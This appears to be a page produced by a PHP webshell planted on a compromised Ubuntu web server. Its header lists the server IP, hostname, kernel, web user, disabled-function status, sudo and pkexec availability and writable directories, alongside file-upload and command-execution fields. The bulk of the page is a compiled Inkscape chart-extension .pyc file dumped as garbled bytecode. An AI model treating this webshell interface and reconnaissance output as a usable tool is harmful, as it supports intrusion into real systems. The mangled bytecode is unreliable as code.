403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/nicechart.cpython-310.pyc
o

0�aBT�@s�ddlZddlZddlZddlmZddlZddlmZddlmZm	Z	m
Z
mZddlm
Z
mZgd�gd�gd�gd	�gd
�d�ZGdd
�d
ej�ZedkrVe���dSdS)�N)�ArgumentTypeError)�filename_arg)�Filter�TextElement�Circle�	Rectangle)�Move�line)z#460101z#980101z#d40000z#f44800z#fb8b00z#eec73ez#d9bb7az#fdd99b)z#000442z#0F1781z#252FB7z#3A45E1z#656DDEz#8A91EC)z#222222z#444444z#666666z#888888z#aaaaaaz#ccccccz#eeeeee)z#0000FFz#FF0000z#00FF00z#CF9100z#FF00FFz#00FFFF)z#f8d753z#5c9746z#3e75a7z#7a653ez#e1662az#74796fz#c4384fz#fff8a3z#a9cc8fz#b2c8d9z#bea37az#f3aa79z#b5b5a9z#e6a5a5)�red�blue�gray�contrast�sapc@s�eZdZdZdZedd��Zdd�Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�Zdd�Z
dd�Zd!dd�Zdd�Zd"dd�Zdd�Zd S)#�	NiceChartz�
    Inkscape extension that can draw pie charts and bar charts
    (stacked, single, horizontally or vertically)
    with optional drop shadow, from a csv file or from pasted text
    TcCsd�|jj�S)zLayer title/labelzChart-Layer: {})�format�options�what)�self�r�+/usr/share/inkscape/extensions/nicechart.py�container_labelLszNiceChart.container_labelcCs|�d�|jddd�|jddddd	�|jd
d|�d�|jd
d�|jddtjddd�|jddtdd�|jdddd
d	�|jddddd	�|jddd d!d	�|jd"d#d$�|jd%tjd&d'd�|jd(d)td*d+d�|jd,d-td.d/d�|jd0tjdd1d�|jd2d3tjd&d4d�|jd5d6td7d8d�|jd9d:td;d<d�|jd=d>td;d?d�|jd@dAtdBdCd�|jdDtdEdF�|jdGdHtdBdId�|jdJtdKdLd�|jdMtjd&dNd�|jdOdPdQdRd	�|jdSdTtd7dUd�|jdVdWdXdYd	�|jdZd[tjd&d\d�dS)]Nz--tabz
--encodingzutf-8)�defaultz-wz--whatz22,11,67zChart Values)r�helpz-tz--type�renderz
Chart Type)�typerrz-bz--blurTz	Blur Typez-fz
--filenamezName of File)rrz-iz--input_type�filez-dz--delimiter�;�	delimiterz-cz--colorsrzcolor-schemez--colors_overridezcolor-scheme-override)rz--reverse_colorsFzreverse color-schemez-kz	--col_keyrzcolumn that contains the keysz-vz	--col_val�zcolumn that contains the valuesz
--headingsz?first line of the CSV file consists of headings for the columnsz-rz--rotatezDraw barchart horizontallyz-Wz--bar-width�
z
width of barsz-pz--pie-radius�dzradius of pie-chartsz-Hz--bar-heightzheight of barsz-Oz--bar-offset�zdistance between barsz--stroke-widthg�?)rrz-oz
--text-offsetz%distance between bar and descriptionsz--heading-offset�2z&distance between chart and chart titlez--segment-overlapz=Remove aliasing effects by letting pie chart segments overlapz-Fz--fontz
sans-serifzfont of descriptionz-Sz--font-sizezfont size of descriptionz-Cz--font-color�blackzfont color of descriptionz-Vz
--show_valueszShow values in chart)�add_argument�
arg_method�
render_bar�inkex�Booleanr�int�float)r�parsrrr�
add_argumentsQsb
�������
���
�zNiceChart.add_argumentscs|jj�|jj�dd��|jjdkr`|jjdurt�d��t|jjd��3}tj	||jj
d�}�}|jjr<t|�}|�}���fdd	�|D�}|ft
t|��Wd�S1sZwYn"|jjd
kr�tdd	�|jj�d�D��\}}d
|�fdd	�|D�fSt�d��)zProcess the datacSst|�}|dkr
t�d��|S)z'Confirm the values from files or directrz,Negative values are currently not supported!)r*r'�AbortExtension)�valrrr�
process_values
z)NiceChart.get_data.<locals>.process_valuerNzFilename not specified!�r)rcs g|]}|��|��f�qSrr)�.0r	��col_key�col_valr/rr�
<listcomp>�s z&NiceChart.get_data.<locals>.<listcomp>�direct_inputcSsg|]}|�dd��qS)�:r)�split)r1�lrrrr5�s�,zDirect Inputcsg|]}�|��qSrr)r1r.)r/rrr5�szUnknown input type)rr3r4�
input_type�filenamer'r-�open�csv�readerr�headings�next�tuple�ziprr8)r�fhlr?�title�header�values�keysrr2r�get_datazs&
"� 
zNiceChart.get_datacCsP|jjr$|jj}|�tddddd��}|jddd�tj|j	dd�d	�St��S)
z(Add blur to the svg and return if needed�3z-0.5)�height�width�x�y�feGaussianBlurz1.1)�stdDeviation�)�as_url)�filter)
r�blur�svg�defs�addr�
add_primitiver'�Style�get_id)rrV�filtrrr�get_blur�szNiceChart.get_blurcCs�t|d�s?|jjr|jj��}n|jj}|d��r%t�|��td�}nt	�
d|�}|s1td}|jjr9|��||_
d|_|j
|j}|jdt|j
�|_|S)zGet the next available color�_colorsrr
z(#[0-9a-fA-F]{6})r)�hasattrr�colors_override�strip�colors�isalpha�COLOUR_TABLE�get�lower�re�findall�reverse_colors�reverser]�_color_index�len)rra�colorrrr�	get_color�s 
zNiceChart.get_colorccs��|��\|_}}|st�d��|j�|j�d��|_|j�|jjd�|_	t
|jj�d|_
|��|_|j�||�D]}|Vq;dS)z1Generates a nice looking chart into SVG document.zNo data to render into a chart.rLrK�N)rIrEr'r-rU�unittouurdrL�attribrKr*r�	font_size�fontoffr\rTr�rrHrG�elemrrr�generate�s�

�zNiceChart.generatecCsV|jjr)|jr)|j|jddd�}|�dt|jd|jj��|�dt|��|SdS)zDraw an optional header text��end��anchorrNrQrMN)rr@rE�	draw_text�set�strrK�heading_offset)r�	heading_x�headingtextrrr�draw_header�szNiceChart.draw_headerccsj�|jj}|jj}|jj}tt|�dg�}t|�D�]\}}|||}	|||}
|jd|	}|jdt	|
�}|}
t	|
�}|jj
rS||||
f\}}}
}||
7}|�|||
|�D]}|Vq[|r�|j||dd�}|jj
s�|�
dd�|�
ddt|jd|jj��|�
d	t|jd|	|d|j��n#|�
d	t|jd|	|d|j��|�
dt|jd|jj��|V|jj�r)|�t	|��}|jj
�s|�
dd�|�
ddt|jd||jj��|�
d	t|jd|	|d|j��n%|�
d	t|jd|	|d|j��|�
dt|jd||jj��|Vq|�|jd�Vd
S)zDraw bar chart�rQrwrx�	transformzrotate(-90)rM�-rNN)r�
bar_height�	bar_width�
bar_offset�max�list�	enumeraterLrKr)�rotate�draw_rectanglerzr{r|�text_offsetrr�show_valuesr�)rrHrGr�r�r��	value_max�cnt�value�offset�	bar_valuerMrNrLrKrt�text�vtextrrrr&�sJ�"*(

&*("�zNiceChart.render_barccs|�|jrtt|d�t|d�t|�t|�d�}|j|_|Vtt|�t|�t|�t|�d�}|�dd|���|VdS)z)Draw a rectangle bar with optional shadowr�rMrNrLrK�style�fill:N)rTrr|r�r{rm)rrMrNrLrK�shadow�rectrrrr�s�( 
zNiceChart.draw_rectangler�startcKsPtdi|��}|jj|jjt|jj|�dddddd||d�
|_t|�|_|S)zDraw a textual label�px�normalzBitstream Charter)
�fillzfont-familyz	font-sizez
font-stylezfont-variantzfont-weightzfont-stretchz-inkscape-font-specificationz
text-alignztext-anchorNr)rr�
font_color�fontr|rqr�r�)rr��add_sizery�kwargsr�rrrrz's�
zNiceChart.draw_textccs �|�||d�D]}|VqdS)z&Draw a pie chart, with absolute valuesTN)�
render_piersrrr�render_pie_abs9s��zNiceChart.render_pie_absFc	cs�|jj}d}t|j�d}t|j�d}|jr7tt|�t|�d�}|�dt|��|jt	j
dd�|_|Vtt|�t|�d�}	|	�dt|��|	�dd�|	Vzt|�}
Wnt
ycd}
Ynw|rhd	}
d}t|�D�]\}}
d
|
t|
�}|}||}|jjr�|t|�dkr�|d7}|dkr�|d8}t	��}|�d
d�|�d|�|�d|�|�d|�|�d|�|�d|�|�d|�|�dd|��d�|d|}|�rtt	��}t|jd|t�|�|jd|t�|��t|jjdt�|�|jjdt�|��g|_d|jj|jjdd�|_|V||}|jj�r5|d�t|
�d|�7}t�|�dk�r?dnd}|j||d�}||jj}|�d|jd|t�|��|�d |jd|t�|�|j�|V||}|dd!}|Vqn|� |jd|�Vd"S)#zDraw pie chartrrQ)�cx�cyr0z#000000)r�r�zstroke:#ececec;fill:#f9f9f9r gz���!@rg
ףp=
�?z
sodipodi:type�arczsodipodi:cxzsodipodi:cyzsodipodi:rxzsodipodi:ryzsodipodi:startzsodipodi:endr�z;stroke:none;fill-opacity:1�none�butt�r��strokezstroke-widthzstroke-linecapz ({}{}))��%r�rwrxrMrN�N)!r�
pie_radiusr*rLrKrTrr|r{r'rYr��sum�
ValueErrorr��segment_overlaprk�PathElementrmr�math�cos�sinr	r��pathr��stroke_widthr�rrzrrr�)rrHrG�pie_absr�rlrMrNr��
background�valuesumr�r�r��angler�rw�pieslice�angrt�labelryr��offrrrr�?s�������
 &zNiceChart.render_pieccs6�d}zt|�}Wntyd}Ynwd}|jj}|jj}|jd}|jd}	|jrW|jjr8||}}|	}
nt	|	|jj�}
t
t	|�t	|
�t	|�t	|�d�}|j|_|Vt|�D�]/\}}
|jj|t
|
�}t
�}|jjs�|�dt	|jd��|�dt	|jd||��|�dt	|jj��|�dt	|��n*|�dt	|jd|��|�dt	|jd��|�dt	|jj��|�dt	|��|�d	d
|���|�r~|jj�s|j|jjd}|	||d}|jjd|jj}d}|jd|jj|jjd}|	||j|d}n?|||d}|	|jjd}d}|jjd|jj||jj}|||d|j}|	|jj|jj|d|jj}t��}t||�t||�g|_d|jj|jjd
d�|_|V|j||t	|�t	|�d�V||}|dd}|Vq[|�|jd||�VdS)zDraw stacked bar chartrr�rQr�rMrNrLrKr�r�rr�r�r�)rMrNr�N)r�r�rr�r�rLrKrTr�r|rr�r�r*r{rmr�rrrqr'r�rr	r�r�r�rzr�)rrHrGrlr�r�rLrKrMrN�shyr�r�r��normedvaluer��x1�y1�x2�y2�txt�tytrtrrr�render_stbar�s���


�
�����zNiceChart.render_stbarN)rr�)F)�__name__�
__module__�__qualname__�__doc__�container_layer�propertyrr,rIr\rmrur�r&r�rzr�r�r�rrrrrDs"
)"	;

gr�__main__)rfr>r��argparserr'�inkex.utilsrrrrr�inkex.pathsrr	rc�GenerateExtensionrr��runrrrr�<module>s*.�	I�

Youez - 2016 - github.com/yon3zu
LinuXploit